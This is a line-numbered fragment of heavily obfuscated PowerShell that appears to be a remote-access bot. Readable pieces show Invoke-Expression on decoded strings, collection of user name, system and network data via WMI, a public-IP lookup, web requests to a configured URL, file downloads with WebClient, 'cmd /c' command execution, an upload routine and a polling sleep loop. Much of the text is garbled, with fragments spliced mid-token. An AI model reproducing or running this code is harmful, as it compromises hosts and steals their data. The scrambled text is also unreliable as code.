  195. Zhzm).RePlACe(([ChAR]50+[ChAR]69+[ChAR]106),[sTrInG][ChAR]34).RePlACe(ZhzmycEZhzm,[sTrInG][ChAR]39).RePlACe(([ChAR]118+[ChAR]108+[ChAR]78),[sTrInG][ChAR]124) duMi.((gv Zhzm*mDR*Zhzm).namE[3,11,2]-JoINZhzmZhzm)uhX  = }87x8Kc2{DOZH; '+' )ZhzmTSZhzm,ZhzmGnIrZhzm f-uhX}0{}1{uhX(]ePyt[=  }2801{DOZH  irL((jN1,jN19s0zH+0zHD9,sD9 43E+43EXArtya,tyaty.Cryptogra2H9+tDn+tDn2H9phy.MD5sD9,sD9t2f0+2f0em).Name;
  196. 2H9+2H9
  197.     MOC,MOCa,tye38+e38a2H9return YmPbhg
  198. }
  199.  
  200. dLv+dLv
  201. 2HtDn+tDn9+tDn+tDn2HsD9,sycE,ycE ((43E 9uPzeS= [T43E+43EYPe](fsn{1}{0}fsn-F 0zHY0zH,0zHARRA0zH)  ; 9uPycEirL+irL,ycE1{}38{XpN+XpN}Zhzm+Zhzm961{}491{}803{}322{}154{}921{}114{}151{}434{}83{}302{}823{}003{}273{}77{}392{}544{}562{}641{}36{}883{}143{}614{}45{}033{}482{}261{}492{}861{}52{}844{}qj8+qj887{}223{}9230zH+0zH{}28{}692{}962{}483{}433{}752{}113{}652{}352{}881{}022{}99{}622{}1{}613{}134{}293{}442{}132{VIS(( ()sD9xsD9+]5[cilbuP:vne0pH+]31[CiLBup:VnE0pH (. dLv((Zhzm+Zhzm()dLvxdLv+]31[dILlEHSBsk+]1[dILleHSBskZhzm+Zhzm (. uhP ; -joIA5X+A5XnBsA5X+A5Xk{ycbC9wbC9Tk}bIN,bINf0-ftya
  202.    2H9+tya,tyahysD9,sdLv+dLvD9global:url = XArX2HsD9,sD9+2H9rName
  203.      tsD9,sD9yaRandom -mtDn+tDninimum 0 -maxsD9,sD9   trgEnaqbzCebkl
  204.  tDn+tDn  }
  205. }
  206.  
  207.  
  208. fun2H9+2H2f0+2f09ction qrPelcg(YmPsD9,sD9ength);
  209. 2f0+sD9,sD9n+tDnntya,ty43E+43Ea
  210.        } elycE,ycEsD9hfre){
  211.      2f0+2f0         tya,tyafgre()mea,meanrgVC(){
  212. tDn+tDn  tDn+tDn   try{
  213.          sD9,sD98m2f0,2f0JTm2f0).REPLaCE(2f0u4F2f0,[strinG][cHsD9,sD9.FileSytDn+tDnirL+irLste2H9+2tDn+tDnH9mObject;
  214. tDn+tDn                YmPhfre = Ym2H9+2H9Penv:UserNtya,tsD9,sD9dentiasD9,sD9PjrotDn+tDnerd.sD9,sD9();
  215.         isD9,sD9H9[Systemtya,tyaH9+2H9FLV,FLVerd.GetRequestStream()tDn+tDn;tDn+tDn
  216.             YmPe2f0+2f0rd_fgernz.43E+43EWrtDn+tDnite(2tDn+te38+e38Dnf0+2f0YmsD9,sD9P_.Except2f0+2f0iotDn+tDn2mea,mea& ( lZJsHeLliD[1]+lZJShElLId[13]+gr1xgr1)((gr1  sET-iteM  (QWnvarQWn+QWnIaQWn+QWnbLQWn+QWne:1PqQWn) (  [tYPE](QWn{1}{0}QWn-f e38nGe38,emea,mea38stRie38)  );    SET-itEm (QWn{1}{2}{0}QWn-f e38G4de38,e38ve38,e38aRiaBle:e38)  ([POH+POHtypE](QWn{1}{0}QWn-fe38exe38,e38rEge38) ) ;   & ( Tnh3{PNAZMShOME}[4]+Tn32U,32U9-rEpLaCE Dmh+Dmh ([cHAR]119+[32U,32Ufu.rsD9,sD99  Y2f0+2f0mtDn+tDnPFl32U,32Uchtya2f0+2f0,tya
  217.     rettDn+tDnurn YmPerfsD9,sD9as2f0+2f0tIndexOf(IT8/IT8),sD9,sD90a,tya     tDn+tDn   YmPerf2f0+2f0tDn+Dmh+DmhtDnhy2f0+2f0g = XArNULLtya,ttDn+tDnya52H9+2HtDn+tDn93ITtya,tsD9,sD99+2tDn+tDnH9t]tydLv+dLva,tyase] 2f0+2f0YmPerfc = YmP2H9+2H9jroerd.GetResponse2f0+2f0(tDn+tDn);
  218.         if (YmPerfc -ne YmPnull){
  219. 2f0+2f0
  220.         tya,tya2H9+tDn+tDn2H9 2H9+2H9XArW-OXAr
  221.    sdLv+dLsC1k,sC1k
  222. jN1,jN1h -gt 0){
  223. 2H9+2H9
  224.        tDn+tDn   ttDn+tDnya,dLv+dLvtytDn+tDna
  225. tya,tsD9,sD9}{177}{205}{138}43E+43E{188}{29}{233tDn+tDn}{42}{102}{131}{148}{98tDn+tDn}YCn 2f0+2bIN,bINv:UserNamtya,tybIN,bIN+tDn0Ppzq -ErsD9,sD9S2f0 sD9,sD9ToSDmh+Dmhtrin2H9+2H2f0+2f09g(YmP2H9+2H9zq5.ComputeHash(YmPhgs8.tya,ttDnsD9,sD9 2H9+2H9  tDn+tDn sD9,sD9Dn+tDn2f0+2f0b += XAtDn+tDn2tDn+tDnH9+2H9r*sD9,sD9+tDn8}{121}{68}{198}{197}{245}{99XpN+XpN}{97}{14}{2343E+43E}{tDn+tDn44}2f0+2f0{sD9,sD9 tya,tya[Net.Cr2H9+2f0+2f02tDn+tDn2f0+2f0H92f0+2f0ePOH+POH2f0+2f0dentialCache]::Def32U,32Uyae YmPktDn+tDn -ValutDn+tDne YmPv -Fo2H9+2H9rce -ErrorAycE,ycE(,2f0.2f0, sxS UlV+UlV(2f0 &(sD9,sD9Enc32U,32UVZhzm,ZhzmteGZhzm,Zhzm-Zhzm,ZhzmelbaIZhzmf- uhX}0{}3{}1{}2{uhX(& ( (-gr1+gr1.. 1-[uhXeULA8KcVuhX.))Zhzm2Zhzm,Zhzm87XZhzmf-uhX}0{}1{uhX(  )ZhzmeGZhzm,ZhzmRAV-Zhzm,ZhzmelbaIZhzm,ZhzmtZhzm f- uhX}1{}2{}0{}3{uhX(& (, ZhzmZhzm (ekovnI.)ZhzmniOZhzm,ZhzmjZhzm f- uhX}1{}0{uhX(::)YLNOEulav- )uhX280uhX+uhX1uhX(  ElbaIrAV-TeG  ( ( )ZhzmxZhzm+]31[}DiLleH8KcS{DOZH+]1[}dIll8KcEhs{DOZH ( & ; uhX (Zhzm(((2Ej{4}'+'{16}{10}{3}{7}{21}{5}{11}{0}{14}{6}{18}{8irL+irL}{15}{12}{13}{19}{24}{22}{Zhzm+Zhzm2}{1}{17}{9}{20}{23}2Ej-fycqj8+qj8EasC1k,sC1kya   w2f0+2f0tDn+tDnrite-ho2f0+2f0sttya,ttDn+tDnyagt 0)sD9,sD9n          YmPwc =2H9+2H9 tDsC1mea,meaDnp://iZhzm+Zhzmpv4bot.whatismyipsD9,sD9ghf22f0+tDnUlV+UlV+tDn2f0H9+tysD9,sD9chXAr;
  226.         }
  227.    }
  228. tya,ttDn+tsA5X+A5XD9,sD9  sC1k,sC1k
  229. }2jk0+jk0f0+2f0
  230.  
  231.  
  232. 2f0+2f0
  233. 2f0+2tDn+tDnftDsD9,sD9 Y2H9+2H9mPerfc.32U,32U1{}4{}1{QEK((( ()MOZhzm+ZhzmCxMOC+]03[eMohsPgr1+gr1k8K+]12[EMOHSPk8K (. 0zH(fsn;  ( GCi (fsn{1}{0}{3}{2}fsn -f0zHARIa0zH,0zHV0zH,0zHzES0zH,0zHBLe:0zH)  ).fsnVAllP0Uefsn::(fsn{0}{2}{1}fsn-f0zHReve0zH,0zHE0zH,0zHRs0zH).Invoke((  &(fsn{1}{2}{0}f'+'snPOH+POH -f 0zHdiTEm0zH,0zHGet-0zH,0zHCHiL0zH) (0zHv0zH+0zHaR0zH+(fsn{1}{0}fsn -f 0zHbLe:y0zH,0zHIa0zH)+0zHk6h0zH+0zHG0zH)  ).fsnvAlP0lUEfsn );&(fsn{1}{3}{0}e38+e38{2}fsn -f 0zHXPReSSI0zH,0zHinvoKe-0zH,0zHoN0zH,0zHE0zH)( -JOIN (  &(fsn{0}{2}{3}{1}fsn -f 0zHG0zH,0zHLdiTEm0zH,0zHet-C0zH,0zHHi0zH) (0zHv0zH+0zHaR0zH+(fsn{1}{0}fsn-f0zH:y0zH,0zHIabLe0zH)+0zHk6h0zH+0zHG0zH)  ).fsnVAllP0Uefsn)
  234.  
  235. 43E)-CreplACE 43E0zH43E,[chAR]39-RePLaCe  ([chAR]108+[chAR]80+[chAR]48),[chAR]96 -RePLaCe43Efsn43E,[chAR]34 -CreplACE  ([chAR]88+[chAR]54+[chAR]97),[chAR]12mea,mea4-CreplACE 43E9uP43E,[chAR]36)9LV &( KdyVERBOSePreFerence.ToSTRinG()[1,3]+43Ex43E-joIN32U,32UChatDn+tDnR]sD9,sD9235}{18sD9,sD9hyg
  236. 2f0+2fdLv+dLv0
  237.  
  238.  
  239. }
  240. func2f0+2f0t2f0+2f0ion fugsD9,sD9Perfhyg
  241. jk0+jk0
  242.  
  243.    
  244.  
  245.  
  246. }
  247. FLV,FLVoerd.pr2H9+2H9oxy.Credentials = [N2f0+2tDn+dLv+dLvtDnf0et.C2f0+2f0rtDn+tDnesD9,sD9rn YmP_2f0+2f0tDn+tDn.2f0+2f0Excep2f0+2f0tion.MesssD9,sD9n+tDn0+tDn+tDn2f0    for (gr1+gr1Ym2f0+mea,mea4{}283{}671{}004{}681{}832{}691{}733{}931{}592{}61{}852{}371{}552{}414{}93{}882{}603{}221{}602{A5X+A5X}393{}013{}94{}451{}3sC1k,sC1k0+2f0sleep 300
  248. }
  249. 2H9).rEPLacE(2H9YsD9,sD9}{100}{223}{sD9,sD9imum (YmPC.Lengt2H9+2HtytDn+tDna,tya YmsD9,sD9 -2H9+2H9splitZhzm+Zhzm XAr~irL+irLsD9,sD9rsD9,sD9
  250. ftDn+tDnuncty2f0+2f0a,tya    2ftDsD9,sD940)
  251.     }
  252.     retutya,2f0+2f0ttDn+tDnyaject WUlV+UlVin32_ComputtDn+tDnerSystem).2f0sD9,sD9in32_Ope38+e38eratDn+tDntingSy2H9ty2f0+2fDmh+Dmh0a,tyaXArdataXArVfY+VfY:XA2f0+2f0rITsD9qj8+qj8,sD9}{207}{2182sD9,sD9hg = (Ymtya,tya }
  253.    ftDn+tDnunc2ftDn+tDn0+2f0tiotDsD9,sD9tDn+tDnsDmh+DmhD9,sD9+tDnsD9,sD9
  254.  
  255. sD9,sD9]::Crwrz+wrzeate(YmPglotDn+tDnbal:url + YmPhey);
  256.         YmPjroetya,tyaretDn+tDnturn YmPzlneeZhzm+ZhzmndLv+dLvl
  257. mea,meaH9+2H9n.Message)
  258.       2HtDn+tDn9+2H9 trg2f0+2f0EnaqbzCebkl
  259.     wrz+wrz2H9+2H9tDsD9,sD9g)tDn+tDn
  260.  
  261.  2tDn+tDjk0+jk0nH9+2H9  tDn+tDn       sD9,sD90yg = Ym2HUlV+UlVtDn+tDn9+2H9Perf2f0+2ftDn+tDn0_qn2f0+2f0gn.ReadToEnd();
  262.         0zH+0zH}
  263.     tysD9,sD9n
  264.    catch{
  265. 2f0+2f0   2H9+sD9,sD9 sD9,sD9  function trgBF(2H9+2H9){tDn+tDsD9,sD9        XpN+XpN  YmPsD9,sFLV,FA5X+A5XLVrgVC
  266.    2f0+2f0YmPFtDn+tDnltDn+tDnfV2f0+2f0asb += XAr**XAr
  267. tya,wrz+wrztyarXAr
  268.    }sD9,sD9dLv+dLvtDn+tDnsfb.getfolder(IT8ctDn+tDn:tDn+tDnlhmlhmuserslhmsD9,sD9ecALpeRC-  63sD9,sD9p42sD9,sD9f-sxS}0{}1{sxtDn+tDnS(::XpN+XpNF7rTCbtDn+tDnq NIoJ-( ()sD9,sD9ContentType = XArapplication/jsonXAr
  269.         if (YmPra2H9+2H9pbqr_qngn.LengttDn+sD9,sD9n+tDnstetDn+tDnm.Net.WebResponirL+irLtya,tyaMOC,MOC
  270.  2H9+2H9     2f0+2f0     Ytya,ttDn+Zhzm+ZhzmtDnyamea,meaettya,tDn+tDntyaArsD9,sD9+2ftDn+tDn0NametDn+tDn;
  271.         } 2H9+2H9catch {
  272. tDn+tDn
  273.            tya,tyarn YmPhfre
  274.              jN1,jN1Dn+tDn(ITtDn+tDn8tirL+irLDnqj8+qj8+tDnupload IT8,ITtDn+tDn8IT8)
  275.     qj8+qj8  tDn+tDsD9,0zH+0zHsD9   tDn+tDn     retur2H9+tya,2f0+2f0tya2H9+2H92f0+2f0tDn+tDn    2FLV,FLV5 = new-objectya,ty2f0+2f0atDn+tDn2f0+2f0 }
  276.       tDn+tDn }
  277.        elseif(YmPpzq.Sttya,tya9rErrorHost2f0+2f0NameXAr;
  278.         }2f0+2f0
  279. mea,meaa2tDn+tDnHtDn+tDn9sD9,sD9+2f0{
  280.          2H9+tDn+tDn2sD9,sD9
  281.      sD9,sD9yatDn+tDnMOC,MOC382{}161{}541{}6{}243{}061{}723{}762{}102{}9{}513{}402{}732{}582{}373{}104{}673{}233{}88{}64Dmh+Dmh{}62{}321{}063{}251{}ycE,ycEtDn0turn YmPZhzm+ZhzmsD9,sD9 catch {
  282. 2H9+2H9        
  283. sD9,sD9
  284.  
  285.     r2H9+2HsD9,sDsC1k,sC1k51{}75{}444{}501{}471{}771{}383{}67{}502{}7643E+43E{}081{}5XpN+XpN33{}172{}753{}604{}49{}413{}841{}8jk0+jk053{}173{}893{}74{}292{}443{}523{}871{}131{}091{}531{}623{}01{}724{}722{}512{}912{}734{}913{}942{}421{}1A5X+A5X9{}6UlV+UlV62e38+e38{}231{}63{}971{}171{}10jk0+jk01{}561{}222'+'{}85{}831{}27POH+POH{}583{}863{}232{}103{}563{}331{POH+POH}651{}234{}301{}054{}241{}89{}034{}932{}542{}001{}7irL+irL83{}32U,32Ul.WisD9,sD9tCrtya,tyatDn+tDnatch {
  286.             retDn+tDntutDnsqj8+qj8D9,sD941}2tDn+tDnf0+2f0{93}{80}{190}{61}{169}{237}{229}{53tDn+tDn}tDn+tDn{0}{52f0qj8+qj8+2f06}{120}{140sD9,sD9T8cmd IT8,IT8I2H9+2sD9,sD9H9T2H9+2H98)
  287.            try{
  288.          2f0+2fsD9,sD9fgdUlV+UlVLv+dLveVa)))
  289.    YmtDn+tDnPbhgchg = YmPusD9,sD9n+tDn8ITtDn+tDn8)
  290.          tya,tyare
  291.  
  292. while(YmPtrue){2H9+2H9
  293.   tyasD9,sD9+tDnYi = 22f0+2f00zH+0zHH9+2H91
  294. 2H9+2H9   tDn+qj8+qj8tDn while(YmPEi -2f0+2f0tya,tya YmPsD9,sD9ycE,ycE= [intirL+irL][ch2f0+2f0atDn+tDnr]YmPcynva2f0+2f0grkg[YmPi]
  295.        tDn+tDsD9,sDmea,mea   tDn+tDn }
  296.  
  297. tDn+tDn
  298.    function trgHfreanzr(){
  299.  tDn+sD9,sD96A5X+A50zH+0zHX}{204}{sD9,sD9agsD9,sD99eturn YmsD9,sD9ertsD9,sD9}
  300.     catch {
  301.         YmPesD9,sD9}
  302.  2f0+2tDn+tDsD9,sD9a}catchtya,tya sD9,sD9n{179}2f0+2f0{108}{55}{1tDn+tDn96tDn+tDn}{2sD9,sD93}{32}{240tDn+tDn}{58}{12f0+2f016}{1tDn+tDn13}{182f0+2f00}tDn+tDn{227}{27}{220}{176}sD9,sD9qngn.LsDwrz+wrz9,sD9ggcCBFG YmPnqqe YmPqngn
  303. tDn+tDn        }
  304.    }tDn+tDsD9,sD9odiXpN+XpN2f0+2f0n2H9+2H9g]::UTsD9,sD9R2f0,2f0XEg2f0POH+POHf- sxS}0{}1{sD9,sD9+tDnyaStrea2f0+2f0mReader YmPqngn;
  305.             [2HtDn+tDn9+2H9S2f0+2irL+irLf0trintDn+tDn2f0+Dmh+Dmh2f0g] Y2f0+2f0mPerdLv+dLvfhyg =tDn+tDn YmPerf_qtDn+tDnngn.ReadTtDn+tDnoEnd();
  306.         }
  307. tDn+tDn
  308.     } cat32U,32U983{}543{}05{}581{}082{}052{}22{}532{}244{}951{}791{}521{}621A5X+A5X{}680zH+0zH3{}163{}813{}262{}55{}933{}833{}362{}333{}91{}204{}7{}84{}81{}2{}70ycE,ycECE(2f0sDVfY+VfY9,sD9eplace(IT8-2H9+2H9IT2H9+2H980zH+0zH2H9+2H9,IT8Ie38+e38T8)
  309.    return YmPbs0zH+0zHD9,sD9for(YmPtDmh+DmhDn+tDni=0; 2H9+22f0+2f0H9YmPsD9,sD9mPbhg0zH+0zH Yp4 Out-Stri2f0+2f0ng
  310.  tya,tyatry
  311.     {
  312. XpN+XpN     YmPj2f0+2f0roerd = [VfY+VfYSystem.Net2f0+2f0ya,tsC1k,sC1k9,sD9 )tDn
  313.  
  314.  
  315. )) ))2f0lott2f'+'qj8+qj80tDn+tDn,2f0HtDn+tDnGIr2f0,2ftDn+tDn0tfe2f0f-sxS}0{}2{}1tDn+tDn{sxSycE,ycEtyar (YmPglobal:utDn+tDnrl + YmP_.ExcepttDn+tDniosD9,sD9{213}{189}{3sDMOCf-QEK}01{}51{}82{}71{}5{}61{}3{}6{}03{}72{}31{}92{}41{}62{}12{}2{mea,meaYmtya,tyaint]YmPt)
  316.     sD9,sD9XpN+XpNPOH+POHrtsWith(IT8u0zH+0zHtya,tya vfNqzva(){
  317.        trtDn+tDny{MOC,MOC+2f0(Get-Zhzm+ZhzmWmiObjtDn+tDne2f0+2f0ct W32U,32U   continue
  318.    }
  319. tA5X+A5Xya,tyazq.Startstya,tya] Y2f0+2f0mPerf_qngnsD9,sD9gcTRG(YmPhey){2f0+2f0
  320.     try
  321.     2f0tDn+tDsD9,sD99n MOC,M43E+43EOC5X,A5XVA5X,A5XRiABlEA5X)  (A6T{0}{1}A6T-fA5XaB59A5X,A5Xe8A5X) -vAL  ) ) +A6TxTf( SV  A5XofsA5X  A5X A5X ) A6T)
  322.  
  323. wrz)  -CrEPLAcE  ([cHAr]120+[cHAr]84+[cHAr]102),[cHAr]36 -repLacE  ([cHAr]50+[cHAr]48+[cPOH+POHHAr]83POH+POH),[cHAr]96-CrEPLAcE([cHAr]65+[cHAr]54+[cHAr]84),[cHAr]34 -repMOC,MOCturn XArErrorIPXAr;
  324.         }
  325.    }
  326. POH+POH
  327.  
  328. tya))sC1k,sC1kb += vfNqzva
  329.    YmsD9,sD9  2f0+2f0    returnsD43E+43E9,sD9+2f0    YmPtya,tya9uesD9,sD9ch {
  330.                 retutDirL+irLn+tDnrtya,tya2H9+2H9sD9,sD9        [SytDsD9,sD9aike IT8169*IT8} YsC1k,sC1k32}{6}{173}{tDn+tDn151}{912f0tDn+tDnsD9,sD9tDnmPpk;
  331.      UlV+UlV 32U,32UcHAR]112+[cHAR]104),[cHAR]124)0fdB iex
  332. Dmh).REPLAce(([chaR]48+[chaR]102+[chaR]100+[chaR]66),[striNg][chaR]124).REPLAce(DmhCcXUDmh,[striNg][chaR]34).REPLAce(DmhFLVDmh,[striNg][chaR]39))DJs (ekovnI.)DmhHDbIN,bIN32U,32UsD9,sD98 + tDn+tDnYmPvastDn+tDnb + IT8XAr}I43E+43ET8)tya,tya0zH+0zH  2H9+2H9      2H9+2H9   YmPEi = YmPE2f0+2f0tDn+UlV+UlVtDni - 1
  333.        }sD9,sD9,tya            YtDn+tDnmPzlneenl += YmPt
  334.      sD9,sD9ya,tyaitDn+tDn = (YmPXi * qj8+qj8tDn+sD9,sD9E(([ChaR]73tDnsD9,sD9Prapbqr_qng2f0+2f0n, 0tDn+tDn, YmPrapbqr_sD9,sD9= XArGETtDn+tDnXAtyatDn+tDn,tya  }
  335.    rettya,tya   }
  336. }
  337.  
  338.  
  339.  
  340. sD9,sD9vcf.substring(1);2f0+2f0
  341.      Dmh+Dmh   } catctya,tyaptDn+tjk0+jk0Dntion.tDn+tDnMe2f0+2f0tDn+tDnssagsD9,sD9
  342.     32U,32Ue(qj85GVqj8,qj8Dayqj8).REPlace(qj8bfzqj8,[STrInG][Char]34).REPlace(([Char]109+[Char]101+[Char]97),[STrInG][Char]3POH+POH9) )8FA  (  )qj8Cqj8+qj8iMqj8(  )qj8Elqj8,qj8Sqj8,qj8bAiRav-Teqj8 f- 8FA}2{}0{}1{8FA(&POH((( )POHPOHnioJ-POHXPOH+]3,1[)(gNi'+'rtSoT.ecNErEfErPesobreViR4 (.32U,32U}
  343.      2f0+2f0  }
  344.     sD9,sD9i -l2ftDn+tDn0+2f0t YmPtDn+tDncynvagrkg.Length; 2H9+2H9YmPi++){
  345.          XpN+XpN  YmPahz 2f0+2fDmh+Dmh0ycE,ycED9     2f0+2f0     star2H9+2H9t-sD9,sD9+2f0lfVassD9,sD9New-tDn+tDnItetDn+tDnmProperty -PattDn+tDnh 2f0+2f0tDn+tDnYmPp -Namtya,tyartvtya,tya
  346.       A5X+A5X
  347.    2FLV,FLVtya,tya     }
  348. tDn+tDn2qj8+qj8f0sD9,sD9tsD9,sD9{
  349.             retusD9,sD9tsD9,sD9tDn+tDnpsD9,sD9f (Ymwrz+wrzsD9,sD9zsD9,sD9resstDn+tDn[0] -NotLtya,tyaNe2H9+2H92f0+2f0t.WebClient
  350. sD9,sD9A5X+A5X IT8+IT8
  351. tya,tyaXAr
  352.           jN1,jN1          
  353.      2H9+2H9 2f0+2f02H9+2H9     YmPetDn+tDnrfhyg2f0+2f0 =tya,tyahod sD9,sD9   elseif(mea,meaL+irL0+2f0,tyavavg
  354.        tDn+tDnPOH+POHYmPvasb = raPelcg YmPcevingr YmPvtDn+sD9,sD9       YmsD9,sD99
  355.  
  356. tDn+tDn
  357. fsD9,sD929]RAHC[,)47]RAHC[+48]RAHC[+901]RAHC[(ecjk0+jk0ALpeRC-93]RAHC[,tDn20zH+0zHf0tDnecalpEr-  43]RAHC[,)511]RAHC[+021]RAHC[+38]RAHC[(  ecALsD9,sD9yatgr1+gr1rue)tya,tysD9,sD9   2f0+2f0 trgEnaqbzCebtya,t2f0+2e38+e38f0yag
  358. tDn+tDn
  359. irL+irL    tDn+tDn       }2f0+2f0sD9,sD9a= Ym2ftDn+tDn0+2f0Perfc.GetResponseSt'+'ream();
  360.             2H9+2sD9,sD9   YmPEi sD9,sD9peRC- 421]RAHC[,)56]RAHC[+111]RAHC[+45]RAHC[dLv+dLvMOC,MOCOtDn+tDnbject System.IO.tya,tya (IT8{XArdattysD9,sD9f0+2f02H9+2H9  rPOH+POHetsD9,sD9+2H9ge
  361.   tDn+tDn }tya,tyaVfY+VfY      }
  362.        } catch {
  363.            rtDn+tDnetujk0+jk0rn XAr-XAr
  364. sD9,sD92tDn+tDnf0+2tDn+tDnf0
  365. tDn+tDn tya,tyaWebResponse] YmPerfc2H9tsDgr1+gr19,sD92f0x2f0)sxS (ekovnI.)tDn+tDn2f0ehcTaM2f0bIN,bIN (GetDn+tDnt-WmiObject tDn+tDnWsD9,sD9+tDXpN+UlV+UlVXpNnsD9,sD9
  366.            }tya,tyasD9,sD9ystem.Setya,tyaitDn+tDngurtDn+tDnation2f0+2f0 -Filter XAtya,tydLv+dLjN1,jN1ostsD9,sD92f0+2f0g tya,tyaWisD9,sD9
  367.       ttDn+tDsD9,sD9gtDn+tDniP:DgiVtDn+tDnNE{TCbq (. ;  ) )2f0esD9,sD9nabled2f0+2f0=TrueXAr Yp4 Where{YtDn+tDnmP_.tya,tDn+tDntyadentials  
  368.          tDn+tDn       YmPwc.Down2f0+2f0loadF2f0+2tDn+tDnf0ile(YmPpzq,sD9,sD9tDna,tDn+tDntyalVfY+VfY:id tya,tyanse] YmPerfc = YmPjroerd.GetRestya,tyaurn YmVfY+VfYPYi
  369. tya,tyakl
  370. sD9,sD9
  371.  
  372.  FLV,FLV (jN1,jN1 }
  373. 0zH+0zH           Ymtya,tyaPerfhyg = [Co2H92f0+2f0+2sD9,sD9n.Message)
  374.  tsD9,sD9bRequetya,tya2H2f0+2f0sD9,sD9n+tDnet.WebReqtDn+tDntya2f0+2f0,tya+22f0+2f0HtDn+tDn9st2f0+2f0emsD9,sD90      YmPbhg = cmd /c YmPpzq
  375.                2tDn+tDnH9+2HsD9,sD9thycE,ycE282{}461{}503{}002{}044{}54{}462{}012{}142{}824{}611{}92Zhzm+Zhzm4{}98{}2POH+POH72{}3{}952{}572{}111{}06{}703e38+e38{dLv+dLv}14{}441{}423{}422{}211{}47{}7643E+43E3{}601{}04{}524{}782{}571{}361{}404{}Dmh+Dmh133{}13{}31{}071{}792{}37{}42{}183{}522{}72{}862{}79{}802wrz+wrz{}793{}191{}801{}653{}334{}704{}312{}96{}891{}934{}1MOC,MOC 2f0+2fsC1k,sC1k99+2H9YmPi -lt2H9+2H9t2f0+2f0ya,tDn+tDntya2f0+2f0rn (Get-WmiObje'+'ct Winmea,measD9,sD9  tDn+tDn } catch {
  376.     2H9+2tDn+tDnH9      return XArDmh+DPOH+POHmhError2H9+2H9OSXAr;
  377.         43E+43EsD9,sD9Object Win32_NetworkAdapterConftyasD9,sD9o8 (& sD9,sD9 tya,tya+=2f0+2f0 tFLV,FLV  try{ sD9,sD9f0+2f0Pjr2f0+2f0oerd.Method = XAsD9,sD9HAR]96).REPLaCEqj8+qj8(2f0tya2f0,[strinG][cHAR]39).REPtDn+tDnLaCEsD9,sD939))
  378. tyasD9,sD99+2H9AtDnsD9,sD9    }
  379.       2sD9,sD9tya,tyae2H9sD9,sD9rl, YmPsD9,sD9H9  Dmh+DmhYmPpzq=YmPpzq.replace2H9+2H9(IT8b64 IT8,IT8IT8)
  380.            tPOH+POHry{
  381. 2f0+2f0
  382. wrz+wjk0+jk0rz 2H9+2H9               YmPpzq = [System.Text.EncsD9,sD9f0    }
  383.    2f0+2f0YmPFlfVasb 2f0+2f0= t2f0+2f0rgBF
  384. 2H9+2H2f0+2fsD9,sD9+2f0ystem.IsD9,sD9ntya,tyan YmP_.Exceptitya,ttDn+tDnyaT8 + YmPDmh+DmherycE,ycEAR]36).tDn+tDnREPLDmh+DmhaCEsD9,sD99YmPbhg = YmPbhg YpUlV+UlV4 Out-String
  385. e38+e38
  386.            tya,tyan -join YmP2f0+2f0tDn+tDnzl_neenl
  387.    2H9+2H9   }
  388.    catch{
  389.         tya,tya9sD9,sD9{
  390.            YmtDn+tDnPernyVC = fuggcTtDn+tDnRG XArhjN1,jN1
  391.  
  392. XpN)  -cREplace ([chAr]117+[chAr]104+[chAr]80),[chAr]34 -rEpLacEXpNABYXpN,[chAr]124 -cREplace XpNdLvXpN,[chAr]39-cREplaceXpNbC9XpN,[chAr]96 -wrz+wrzrEpLacEXpNBskXpN,[chAr]36) wp0zH+0zHh &((gDmh+DmheT-vaRIabLe XpN*mDR*XpN)jk0+jk0.Dmh+DmhnAMDmh+Dmhe[3,11,2]-joInXpNXpN)
  393. FLV,FLVn2f0+2sD9,sD9DnAtDn+tDnrXAr  
  394. sD9,sD9        YmPptDn+tDnvq = YtDn+tDnmPpsD9,sD9n+tDn   write-host YmPhey tDn+tDnXArtya,tyabIN,bIN3{}043{}181{}411{}21{}32{}6qj8+qj834{}902{}02{}09{}344{}314{}642{}95{}712{}901{}34{}904{}953{}682{}992{}911{}182{}97{}11{UlV+UlV}812{}041{}78{}014{}0{}12{}353{}144{}23{}224{}432{wrz+wrz}121{}253{}842{}332{}834{}71{}473{}372{}643{}024{}5qj8+qj8sC1kf- deI}81{}7{}31{}52{}9{}51{}0{}11{}41{}21{}5{}3{}71{}82{}12{}72{}61{}1{}62{}42{}02{}6{}8{}32{}4{}2{}91{}01{}22{deI((( nOIssErpXE-eKOVNIA5X((xeIA6T ;  ( &(A6T{0}{1UlV+UlV}A6T-f A5XIA5X,A5XTEmA5X)  (A6T{3}{4}{0}{2}{1}A6T-f A5XRbIN,bIN+tDning([System.ConvsD9,0zH+0zHsD9ya,UlV+Ue38+e38lVtyVfY+VfYsD9,sD9 cattya,tDn+tDntyasD9,sD9Dn
  395. }
  396. tya,tyaetDn+tDnt-tya,tya      if(tDnsUlV+UlVD9,sD9n+tDnmPsD9,sD9          2f0+2f0YmPpzq = YmPpzq[1]sC1k,sC1knya,tyarIPE2f0+2tDn+tDnf0sD9,sD9}{31}{248}{166sD9,sD90+2ftDn+tDn0geby YmPsD9,sD9,tDnsD9,sD9 +2f0+2f0= [convert]::ToChtDn+tDnar([tya,t2f0+2f0ya MOC,MOC6{}504{}57{}431{}351e38+e38{0zH+0zH}65{}201{}122{}761{}083{}072{}08{}811{}323{}553{}941{}843{}982{}271{}032{}56{}203{}202{}32U,32UftDn+tDnVae38+e38sb +=tyMOC,MOCTfCmu0v=[tYPe](A6T{1}{0}A6T -fA5XyA5X,A5XARrAA5X) ;xTf{a20SB20S59E8}=[cHar[] ]A6T) )43]rAHC[]GnirtS[,)00jk0+jk01]rAHC[+1bIN,bINmh,DmhCTAMDmh,DmhSeDmh fycE,ycEse {
  397. tsD9,sD9etDn+tDnw-OtDn+tDFLV,FLVvapvc2f0+2f0n32U,32U]GniRTs[,e38jN1e38(ECalpEr.)43]raHC[]GniRTs[,e38tU9e38(ECalpEr.)e3mea,mea   }
  398.    catch{
  399.     sD9,sD9e38+e3835}{201}2f0+2f0{221}{210}{48}{211}{171}{103}{226}{3sD9,sD9ya,tyaiNVoKe-ExPr2f0+2f0ESSIONtDn+tDn ((2H9YmPsD9,sD9z = YmPjroFLV,FLV]::GetCusD9,sD90+2fsD9,sD9+tDn(tDn+tDnYm2f0+tDn+tDn2f0PEi % 2) t2fsD9,sD9CryptDwrz+wrzn+tDnt2H9+2tDn+tDn2f0+2f0H9oServiceProv0zH+0zHider
  400.    YmPhg2HtDn+tDn9+tya,tyaqj8+qj8
  401.  
  402. 2H9+2H9function trgEnae38+e38qbzCebsD9,sD9){
  403.       2H9+2H9      bsD9,sD9n = YtDn+sD9,sDqj8+qj892f0Pi = 0 ; 2HsD9,sD92fPOH+POH0+2f0 = Ytya,tya        retya,tyatDn+tDnry{
  404.             reqj8+qj82H9+2H9turn 2f0MOC,MOCDn
